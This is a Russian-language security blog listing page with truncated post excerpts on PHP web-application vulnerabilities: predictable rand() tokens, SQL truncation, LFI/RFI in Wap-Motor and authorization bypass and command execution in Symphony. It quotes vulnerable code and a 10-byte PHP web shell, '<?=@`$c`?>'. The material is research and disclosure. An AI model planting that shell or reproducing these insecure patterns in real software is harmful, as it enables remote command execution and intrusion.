Уязвимости в Simple Machines Forum <= 1.1.5

Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье. Сброс пароля администратора SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме […]

Магия случайных чисел (часть 2)

Этот пост является продолжением прошлой статьи, в которой шла речь о проблемах генераторов случайных чисел в PHP с примером эксплоита для WordPress через уязвимость в phpBB2. В этот раз рассмотрим интересную особенность случайных чисел, сгенерированных с помощью функции rand(), а также способы защиты от подобного рода атак в своих веб-приложениях.

Предсказываем случайные числа в PHP

Стефан Эссер не перестает меня удивлять: в этот раз в своем блоге он рассказал об особенностях генерации случайных чисел в PHP, которые при особых условиях позволяют предугадывать случайные значения. Его находки открывают возможность для реализации совершенно новых атак – Cross Application Attacks, в основе которых лежит неправильное использование веб-приложениями функций для генерации случайных чисел. При […]

К чему может привести усечение данных в SQL

Совсем недавно известный эксперт по безопасности Стефан Эссер (Stefan Esser) опубликовал в своем блоге статью, посвященную новой уязвимости, связанной с особенностями сравнения строк и автоматического усечения данных в MySQL. Именно Стефан обнаружил знаменитую дыру zend_hash_del_key_or_index, после чего в Сети появилось множество эксплоитов для популярных веб-приложений. Похоже в этот раз дело грозит обернуться теми же последствиями.

Еще раз о правильной фильтрации

Я уже не раз излагал свои мысли по поводу принципов грамотной фильтрации входящих данных, этот пост будет своеобразным дополнением, подкрепленным живым примером. Недавно столкнулся с интересной SQL-инъекцией на одном популярном ресурсе, посвященному взлому и хакингу. С одной стороны, признаки успешно внедренного SQL-кода были явными, однако поведение уязвимого веб-приложения при особых запросах говорило о наличии некой […]

LFI/RFI-уязвимости в Wap-Motor 17.5

Сайт разработчика: http://visavi.net/ Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных: <?php extract($HTTP_GET_VARS); extract($HTTP_POST_VARS); extract($HTTP_COOKIE_VARS); extract($HTTP_SERVER_VARS); extract($HTTP_SESSION_VARS); ?> На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56): <?php if(empty($f)){$f=’index’;} echo […]

Обход авторизации в Symphony 2 Beta

Сайт разработчика: http://21degrees.com.au/ Уязвимые версии: Symphony 2 Beta до revision 5 Уязвимый код в /symphony/lib/core/class.symphony.php@126-142: <?php public function isLoggedIn(){ $un = $this->Cookie->get(‘username’); $pw = $this->Cookie->get(‘pass’); $id = $this->Database->fetchVar(‘id’, 0, “SELECT `id` FROM `tbl_authors` WHERE `username` = ‘$un’ AND `password` = ‘$pw’ LIMIT 1”); if($id){ /* […] */ } /* […] */ } ?> Описание: данные […]

Выполнение произвольных команд в Symphony 1.7.01

Однажды я натолкнулся на Symphony – бесплатную платформу для публикации в web с открытым исходным кодом. Основное достоинство системы – использование XSLT в шаблонах, что является достаточно редким явлением среди платформ подобного рода. Сведений в багтраке по поводу обнаружения уязвимостей в Symphony я не нашел, поэтому без колебаний решил провести пен-тестинг движка с целью выявления […]

Мега релиз: самый короткий шелл =)

Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам: <?=@`$c`?> Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного <?php … ?> используется <?= … ?>, что эквивалентно <? echo … ?>; требуется включенная опция short_open_tag в […]

PHPIDS. За и против

IDS (Intrusion Detection System) или система предотвращения вторжений является одним из средств защиты от различных атак. Среди типов IDS можно выделить сетевые и локальные IDS. Сетевая IDS обеспечивает безопасность целой подсети; как правило, она работает на аппаратном уровне, т.е. встроена в маршрутизатор или другие сетевые устройства. Локальная IDS располагается непосредственно на том компьютере, который необходимо […]